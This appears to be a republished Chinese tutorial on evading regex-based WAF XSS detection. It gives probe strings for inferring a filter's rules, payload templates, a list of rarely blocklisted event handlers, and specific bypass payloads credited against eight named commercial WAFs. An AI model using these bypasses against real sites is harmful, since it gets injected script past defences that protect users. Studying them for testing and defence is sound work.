您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關如何繞過WAF的XSS檢測機制,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
本文提出了一種繞過XSS安全機制的新型方法,這種技術由三個階段組成:確定Payload結構、探測和混淆處理。首先,我們需要針對給定的上下文環境,確定各種不同的Payload結構以達到最優的測試效果。接下來就是探測,這里涉及到根據目標所實現的安全機制來進行各種字符串測試,并分析目標的響應數據以便基于分析結果來做出安全假設。最后,根據分析結果來判斷是否要對Payload進行混淆處理或結構調整。
XSS是Web應用程序中常見的漏洞之一,網站管理員可以通過用戶輸入過濾、根據上下文轉換輸出數據、正確使用DOM、強制執行跨源資源共享(CORS)策略以及其他的安全策略來規避XSS漏洞。盡管現在有很多預防XSS攻擊的技術,但Web應用程序防火墻(WAF)或自定義數據過濾器是目前使用比較廣泛的安全保護技術了,很多廠商都會利用這些技術來抵御新型的XSS攻擊向量。雖然WAF廠商仍在嘗試引入機器學習技術,但基于正則表達式的字符串檢測方法仍是目前最廣泛使用的技術。
下面提出了一種構造XSS Payload的新型方法,這種方法構造出來的XSS Payload可以繞過基于正則表達式匹配的安全機制。
當用戶的輸入數據映射在Web頁面的HTML代碼中時,這種場景就是我們所謂的HTML上下文。HTML上下文可以根據用戶輸入在代碼中的映射位置來進一步劃分成:
1、 標簽內:<inputtype="text" value="$input">
2、 標簽外:<span>Youentered $input</span>
在這種上下文場景中,主要字符“<”代表HTML標簽的起始。根據HTML定義,標簽名必須以字母作為開頭,因此我們可以利用下面的規則來判斷用來匹配標簽名的正則表達式:
1、<svg – 如果通過,表明沒有進行任何標簽檢測;
2、<dev – 如果無法通過,則為<[a-z]+;
3、x<dev – 如果通過,則為^<[a-z]+;
4、<dEv - 如果無法通過,則為<[a-zA-Z]+;
5、<d3V - 如果無法通過,則為<[a-zA-Z0-9]+;
6、<d|3v - 如果無法通過,則為<.+;
如果上述方式均無法探測成功,則說明目標站點部署的安全機制無法被繞過。這種方式的假陽性率非常高,因此不鼓勵使用。如果上述探測方式有一個可行,那么可用來構造Payload的機制就非常多了。
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
找到{tag}的合適值之后,就需要猜測用于匹配標簽和事件處理器間數據過濾器的正則表達式了。這一步可以使用下面的探測機制來實現:
1、<tag xxx - 如果無法通過,則為{space};
2、<tag%09xxx - 如果無法通過,則為[\s];
3、<tag%09%09xxx - 如果無法通過,則為\s+;
4、<tag/xxx - 如果無法通過,則為[\s/]+;
5、<tag%0axxx- 如果無法通過,則為[\s\n]+;
6、<tag%0dxxx>- 如果無法通過,則為[\s\n\r+]+;
7、<tag/~/xxx - 如果無法通過,則為.*+;
這個組件(例如事件處理器)是Payload結構中最關鍵的部分。通常,匹配它的是常規正則表達式(例如“on\w+”)或黑名單(例如“on(load|click|error|show)”)。第一個正則表達式非常嚴格,很難繞過,而基于黑名單的模式可以通過不常用的事件處理器來繞過。安全機制的實現類型可以通過下面兩種簡單的方法來識別:
1、<tag{filler}onxxx - 如果無法通過,則為on\w+。如果通過,則為on(load|click|error|show);
2、<tag{filler}onclick- 如果通過,則表明沒有事件處理器檢測正則表達式;
下面是一些防火墻黑名單中沒標記的事件處理器:
onauxclick ondblclick oncontextmenu onmouseleave ontouchcancel
常用的Payload結束符如下:
<payload> <payload <payload{space} <payload// <payload%0a <payload%0d <payload%09
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
使用了<object>標簽的Payload可以利用下面的Payload機制來構建:
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
這種Payload機制有兩種形式:明文或混淆處理。
明文結構如下:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
混淆處理后的Payload結構如下:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
{quote}{delimiter}{javascript}{delimiter}{quote}
可用的Payload有:
'^{javascript}^' '*{javascript}*' '+{javascript}+' '/{javascript}/' '%{javascript}%' '|{javascript}|' '<{javascript}<' '>{javascript}>'
{quote}{delimiter}{javascript}//
可以使用下列Payload機制來構建Payload:
'<{javascript}//' '|{javascript}//' '^{javascript}//'
在研究過程中,總共繞過了八款WAF。下面的列表包含了可繞過的WAF、Paylaod以及相關的繞過技術:
WAF名稱:Cloudflare
Payload:<a"/onclick=(confirm)()>click
繞過技術:非空格填充
WAF名稱:Wordfence
Payload:<a/href=javascript&colon;alert()>click
繞過技術:數字字符編碼
WAF名稱:Barracuda
Payload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click
繞過技術:數字字符編碼
WAF名稱:Akamai
Payload:<d3v/onauxclick=[2].some(confirm)>click
繞過技術:黑名單中缺少事件處理器以及函數調用混淆
WAF名稱:Comodo
Payload:<d3v/onauxclick=(((confirm)))``>click
繞過技術:黑名單中缺少事件處理器以及函數調用混淆
WAF名稱:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
繞過技術:黑名單中缺少事件處理器以及函數調用混淆
WAF名稱:ModSecurity
Payload:<details/open/ontoggle=alert()>
繞過技術:黑名單中缺少標簽或事件處理器
WAF名稱:dotdefender
Payload:<details/open/ontoggle=(confirm)()//
繞過技術:黑名單中缺少結束標簽、事件處理器和函數調用混淆
以上就是如何繞過WAF的XSS檢測機制,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。